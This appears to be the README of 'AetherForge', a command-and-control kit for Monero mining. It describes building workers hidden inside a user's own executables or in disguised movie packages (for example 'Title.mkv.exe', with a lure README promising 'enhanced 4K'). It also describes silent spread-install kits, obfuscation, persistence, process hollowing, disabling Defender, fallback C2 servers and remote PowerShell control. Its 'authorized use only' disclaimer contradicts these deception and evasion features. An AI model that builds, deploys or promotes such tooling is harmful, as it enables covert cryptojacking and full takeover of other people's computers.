# AetherForge

**Private Monero fleet command deck for machines you own.**

One control PC (Windows recommended for forging). One dashboard. Forge workers for **Windows, Linux, and macOS** — fuse inside a movie package or ship a **Spread Kit** for silent multi-OS deploy — and watch your fleet hash from a single steampunk-neon command deck.

No pool hopping through third-party dashboards. No per-rig SSH babysitting. You run the server, you bake the binaries, you own the fleet.

---

```
  ┌─────────────────────────────────────────────────────────────┐
  │  CALIBRATE (Settings)     pool · wallet · users · alerts    │
  │           │                                                 │
  │           ▼                                                 │
  │  FORGE (Builder)          worker .exe · prep fusion · movies │
  │           │                                                 │
  │           ├──► Prep fusion    embed worker in your prep.exe │
  │           ├──► Movie fusion   locked media + runner + ZIP   │
  │           │                                                 │
  │           ▼                                                 │
  │  WORKER PC                RandomX on CPU · WebSocket home   │
  │           │                                                 │
  │           ▼                                                 │
  │  COMMAND DECK             live stats · 3D map · remote ops  │
  └─────────────────────────────────────────────────────────────┘
```

---

## What This Is

AetherForge is a **self-hosted mining control plane** — not a cloud pool UI, not a generic miner wrapper.

| Layer | What it does |
|-------|----------------|
| **Control server** | Go backend on port **8989** — REST API (Basic auth), WebSocket hub, SQLite fleet DB, Stratum proxy to your pool |
| **Command deck** | React dashboard — login gate, fleet overview, 3D topology map, agent roster, forge builder, calibrate settings, field guide |
| **Worker agent** | Cross-platform binary (Windows / Linux / macOS) compiled on demand — mines RandomX, phones home, reports OS + arch |
| **Fusion (prep)** | Bundler — hides the worker inside **your** uploaded `prep.exe`, same icon, single deliverable |
| **Fusion (movie)** | Optional media packages — encrypted movie + runner with embedded worker, ZIP export, per-title folders |
| **Forge** | Compile-time config — wallet, pool, threads, stealth, persistence, firewall rules, AI autonomy flags |

You configure defaults once in **Calibrate**. You forge once per machine (or batch movies) in **Forge**. You run the output once on each worker. The agent installs, persists, connects, and shows up on the dashboard.

---

## What You Get

### Command Deck (Dashboard)
- **Sign-in gate** — dashboard API uses HTTP Basic auth; browser session stored until you close the tab
- Live fleet hashrate, CPU/RAM gauges, share feed
- **3D fleet topology map** — agents orbiting the server node (React Three Fiber)
- Per-agent cards with pause / resume / stop / uninstall
- Fleet alerts (offline, hashrate drop, rejection spikes)
- Pool connection status, earnings estimate, AI activity panel
- Optional matrix stream overlay

### Fleet Roster (Agents)
- Every connected worker — hostname, IP, cores, memory, uptime
- Hashrate history charts
- Remote control panel — mining ops, recon commands, PowerShell terminal, file upload
- Agent log viewer (when file logging is enabled)
- Fleet filters, bulk commands, notes/tags

### Forge (Miner Builder)
- **Target OS** — Windows, Linux, macOS, or **Universal** (all platforms in one ZIP)
- **Spread Kit** — non-fusion ZIP with `Deploy.bat` / `deploy.sh` / `Start.command` → silent `--spread-install`
- Preflight cross-check before compile — wallet, server URL, pool, fusion, AI
- Blueprint save/load — re-forge the same profile across machines
- Build manager — download, paths, LAN QR for worker URL
- **Prep fusion** — upload `prep.exe`, run order (`parallel` / `prep_first` / `worker_first`), Garble obfuscation (all platforms), Authenticode / `osslsigncode` signing
- **Movie fusion** — upload `.mp4` / `.mkv` / `.mov` (or any supported file); two delivery modes (see below)
- **Batch forge** — queue many files; progress bar; one ZIP per file — **Cancel Batch** kills the in-flight server compile immediately via cancel token
- **Kill Build** button — single-build cancel that terminates the server-side compiler mid-flight
- Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion
- **Backup pools** (advanced) — list of fallback Stratum pools baked into the agent; tried in order if the primary is unreachable
- **Backup server URLs** (advanced) — list of fallback C2 addresses baked into the agent; used if the primary goes dark
- **Universal movie fusion** — one ZIP per title with per-OS runners; macOS gets a `.app` bundle (LSUIElement)

### Cross-platform workers

| OS | Persistence | Install base |
|----|-------------|--------------|
| Windows | Registry + scheduled task | `%LOCALAPPDATA%` (configurable) |
| Linux | systemd user service | XDG data home |
| macOS | LaunchAgent | `~/Library/Application Support` |

Agents report `platform`, `arch`, and `os_version` on connect. The dashboard shows OS badges; Windows-only capabilities (process hollowing, Defender off) are gated in the UI and at runtime.

**Requirements:** Control server can run on Windows (forge host). Workers: Windows 10+, mainstream Linux (amd64/arm64), macOS 11+ (Intel or Apple Silicon).

### Movie Fusion (detailed)

Use this when you want a **named title folder** with a runner the user actually launches — not a playable shortcut on the “movie” file.

| Mode | Best for | What you get |
|------|----------|----------------|
| **Embedded (Option A)** | Clips / smaller files (~500MB and under) | One disguised file (e.g. `Title.mkv.exe`) with movie + hidden worker inside |
| **Paired (Option B)** | Full-length films (up to **2 GiB** upload) | Per-title folder under `fusion-deliverables/<Title>/` |

**Paired layout** (example `Vacation`):

```
fusion-deliverables/Vacation/
├── README.txt              ← tells user to run the runner for “enhanced 4K”
├── Vacation-runner.exe     ← decrypts & plays; worker hidden inside runner only
├── Vacation.mkv.cmdata     ← encrypted media (hidden)
└── Vacation.mkv.lnk        ← shortcut with --locked (MessageBox: use runner)
```

- Clicking the movie shortcut **does not play** — it prompts for `*runner.exe*`
- Primary download after forge: **`Title-package.zip`** (README + locked media + runner; no separate miner in the ZIP)
- **Agent is only inside the runner** — not a loose miner file in the package

**Upload limits:** prep / video uploads capped at **2 GiB** (`FusionMaxUploadBytes`).

### Calibrate (Settings)
- Server port, public URL, data retention, max agents
- Default pool + wallet for new forge forms
- **Users** — add/change API accounts (first-run password auto-generated and printed to console)
- Alert thresholds + Telegram / email notifications
- Open Windows Firewall for dashboard port on startup

### Under the Hood
- **Stratum proxy** — workers submit through your server; one upstream pool connection per wallet/host; `payment_id` appended to login when set in Calibrate
- **WebSocket hub** — agents and dashboard get live stats, jobs, alerts
- **Fleet secret** — random token generated once on first run, baked into every forged agent; agents rejected if they don't present the matching secret
- **Ollama AI autonomy** (optional) — server-side LLM decides restart / persistence / tunnel actions; workers call `/api/v1/agent/decide` (fleet-secret gated)
- **Garble obfuscation** — strips symbols and randomises identifiers in compiled agents; works on Windows, Linux, and macOS targets when `garble` is on PATH
- **Cross-platform code signing** — uses Windows `signtool` on Windows forge hosts; falls back to `osslsigncode` on Linux/macOS
- **Server-side forge cancel** — each build is tracked by a UUID cancel token; `DELETE /api/v1/builder/cancel/{token}` kills the compiler process immediately
- **Retention jobs** — auto-purge old hashrate samples and stale build artifacts
- **Static SPA** — built UI served from `server/webroot/` (copied from `server/web/dist` by `run.bat`)

---

## Quick Start

**Requirements:** Windows 10/11 on control PC and workers. Outbound internet to your Monero pool.

1. Double-click **`run.bat`** in the project root.  
   It installs Go/Node if missing, builds the dashboard, compiles `bin\miner-server.exe`, copies web assets to `server\webroot\`, and starts the server.

2. Browser opens **http://localhost:8989**

3. **Sign in** when prompted — on first run, check the console window for your generated admin password

4. **Calibrate** → set your Monero wallet + pool + (optional) public URL for remote workers

5. **Forge** → worker name + server URL (`http://YOUR-LAN-IP:8989` or your tunnel URL) → **Forge Installer**  
   For movies: set title, pick embedded vs paired, upload file, forge (or use batch mode)

6. Run the forged `.exe` **once** on each worker PC (or distribute movie ZIP + runner per your policy)

7. Watch them appear on **Command Deck** and **Fleet Roster**

### First-run login

On the very first launch the server generates a random admin password and prints it once to the console:

```
=== First Run ===
Dashboard login:  admin / <random-password>
Save this — it is not shown again.  Change it in Calibrate → Users.
=================
```

Subsequent runs load credentials from `data/users.json`.  Change or add users under **Calibrate → Users**.

**API auth summary**

| Surface | Auth mechanism |
|---------|----------------|
| `/api/v1/*` REST | HTTP Basic Auth (`Authorization: Basic <base64>`) |
| `/ws/dashboard` | `?token=<base64-user:pass>` query parameter |
| `/ws/agent` | Fleet-secret `auth` JSON frame on connect |
| `/api/v1/agent/*` | `X-Fleet-Secret: <secret>` header (agents only) |
| Static SPA + `/api/v1/health` | Open (no auth) |

### Output locations

| Artifact | Where |
|----------|--------|
| Fused / forged exe (primary) | Project root — e.g. `prep.exe` or `install-worker.exe` |
| Movie fusion per title | `fusion-deliverables/<Title>/` + `Title-package.zip` |
| Archive copy | `data\builds\{build-id}\` |
| Uninstall script | Same build folder + download API |
| Server config | `data\config.json` |
| Fleet database | `data\miner.db` |
| Dashboard build (source) | `server\web\dist\` |
| Dashboard build (served) | `server\webroot\` |

---

## Network Deployment

| Scenario | Server URL in Forge |
|----------|---------------------|
| Same LAN | `http://192.168.x.x:8989` |
| Cloudflare / reverse tunnel | `https://your-domain.com` |

Workers auto-convert `http(s)://` → `ws(s)://.../ws/agent`. Workers only need **outbound** access to your control URL — not inbound ports on each worker.

**Do not** expose port 8989 to the public internet without VPN, firewall allowlist, or reverse-proxy auth. Remote commands are full machine control.

---

## Project Layout

```
crypto miner/
├── run.bat                  ← one-click build + launch
├── bin/
│   └── miner-server.exe
├── data/                    ← config, DB, builds, preps, logs, users.json
├── fusion-deliverables/     ← per-title movie fusion output (gitignored)
├── server/
│   ├── main.go
│   ├── webroot/             ← production UI (copied from web/dist)
│   ├── web/                 ← React command deck (Vite + TypeScript)
│   └── internal/
│       ├── api/             ← HTTP routes, WebSocket, auth
│       └── builder/         ← forge + fusion + ZIP + media crypto
├── agent/                   ← Windows worker source (compiled by Forge)
├── fusion/                  ← prep + movie runner (embed, decrypt, play)
├── PROBLEMS.md              ← known issues audit (severity-ranked)
└── README.md                ← you are here
```

---

## API Surface (summary)

| Method | Path | Purpose |
|--------|------|---------|
| GET | `/api/v1/health` | Health check (no auth) |
| GET/PUT | `/api/v1/config` | Calibrate settings |
| POST | `/api/v1/builder/build` | Forge worker / fusion (multipart) |
| GET | `/api/v1/builds` | List builds |
| GET | `/api/v1/builds/{id}/download` | Download forged exe |
| GET | `/api/v1/builds/{id}/artifact/{name}` | Extra artifacts (ZIP, README, …) |
| GET | `/api/v1/agents` | Fleet list |
| POST | `/api/v1/agents/{id}/command` | Remote action (pause, powershell, …) |
| WS | `/ws/agent` | Worker connection |
| WS | `/ws/dashboard?token=<base64>` | Live dashboard feed (token = base64 of `user:pass`) |

Full route list: `server/internal/api/router.go`

---

## Manual Build (if you skip run.bat)

```bat
cd server\web
npm install
npm run build

cd ..\..
xcopy /E /I /Y server\web\dist\* server\webroot\

cd server
go build -ldflags="-s -w" -o ..\bin\miner-server.exe .

cd ..
bin\miner-server.exe -port 8989 -data .\data
```

Open **http://localhost:8989** and sign in with your configured users.

### Run the test suite

Double-click **`test.bat`** (or `scripts\test-suite.ps1`) to run all Go, frontend, build, and E2E smoke tests. See **`tests/README.md`** for details.

### Dashboard dev server

```bat
cd server\web
npm run dev
```

Vite proxies `/api` and `/ws` to `localhost:8989`. Run `miner-server.exe` separately.

### Tech stack (dashboard)

| Package | Version policy |
|---------|----------------|
| React | 18.x |
| `@react-three/fiber` | 8.x (must match React 18 — v9+ needs React 19) |
| `@react-three/drei` | 9.x |
| Vite | 5.x |

**Important:** `@react-three/fiber` v9 / `drei` v10 require React 19. With React 18 the app fails to mount (blank black screen, console: `Cannot read properties of undefined (reading 'S')`). `package.json` pins compatible versions; run `npm install` after pulling.

---

## Troubleshooting

| Symptom | Likely cause | Fix |
|---------|----------------|-----|
| **Black screen**, empty page | Stale service worker or React/R3F version mismatch | Hard refresh (Ctrl+Shift+R); clear site data for `localhost:8989`; ensure `npm install` + `npm run build` in `server/web`; copy `dist` → `webroot`; restart server |
| Login loop / 401 | Wrong password or missing `users.json` | Check the server console for the first-run password; reset by deleting `data/users.json` and restarting |
| Dashboard builds but server shows placeholder HTML | Missing `server/webroot/index.html` | Run `run.bat` or copy `server/web/dist/*` → `server/webroot/` |
| Forge upload fails | File &gt; 2 GiB | Use paired mode + compress, or embedded for smaller sources |
| Workers never appear | Wrong server URL / firewall | Use LAN IP in Forge; open 8989 on control PC |

---

## Known Issues

See **[PROBLEMS.md](PROBLEMS.md)** for a severity-ranked audit (build blockers, auth gaps, AI bugs, open items). Check there before production use on a large fleet.

---

# ⚠ LEGAL & FAIR USE WARNING

**Read this before you deploy anything.**

### Authorized use only

AetherForge is designed and intended for **computers and networks you own or explicitly administer** — your home lab, your office fleet, machines where **you** have authority to install software and consume CPU resources.

By using this software you agree that:

1. **You will only deploy workers on systems you control** or have **written permission** to manage.
2. **You will not** install, fuse, or distribute forged binaries on third-party machines, public terminals, shared computers, or any system without the owner's informed consent.
3. **You will not** use Fusion, movie packages, stealth modes, persistence, remote execution, or spread-related features to deceive users about what software is running on their hardware.
4. **You are solely responsible** for compliance with local laws, employment policies, ISP terms, pool rules, and tax obligations related to cryptocurrency mining.

### What this is NOT

- **Not** a tool for unauthorized access, lateral movement, or deployment on machines you do not own.
- **Not** malware — but **misuse can make it indistinguishable from malware** under law and antivirus heuristics. Freshly compiled miners and fused executables **will** trigger Defender and AV products on unmanaged systems.
- **Not** anonymous or untraceable. Mining connects to pools, leaves logs, and generates network traffic attributable to you.

### Pool & earnings

- Use a **valid Monero wallet address you control**.
- Pool operators set their own terms — hashrate, rejected shares, and payout policies are between you and the pool.
- This project does not guarantee profitability, uptime, or pool compatibility.

### Security responsibility

- Protect the dashboard with **strong user passwords** and **network isolation**. Do not expose port 8989 to the open internet without VPN or reverse-proxy auth.
- Remote command features (`powershell`, `exec`, file upload) are **full control** of a worker. Treat your control server like root access to every machine in the fleet.
- Movie fusion and prep fusion are for **authorized distribution scenarios only** — misleading packaging is misuse.
- Code signing, Defender exclusions, and network segmentation on **your** infrastructure are **your** job.

### Disclaimer

THIS SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND. THE AUTHORS AND CONTRIBUTORS ARE NOT LIABLE FOR ANY DAMAGES, LEGAL ACTION, POOL BANS, DATA LOSS, HARDWARE DAMAGE, OR MISUSE BY YOU OR ANY THIRD PARTY.

**If you cannot accept these terms, do not run AetherForge.**

---

## License

Private use. Monero mining uses the RandomX algorithm (BSD-3-Clause) via `git.gammaspectra.live/P2Pool/go-randomx`.

---

<p align="center">
  <strong>AetherForge</strong> — LAN MINING COMMAND<br/>
  <sub>Calibrate · Forge · Deploy · Command</sub>
</p>
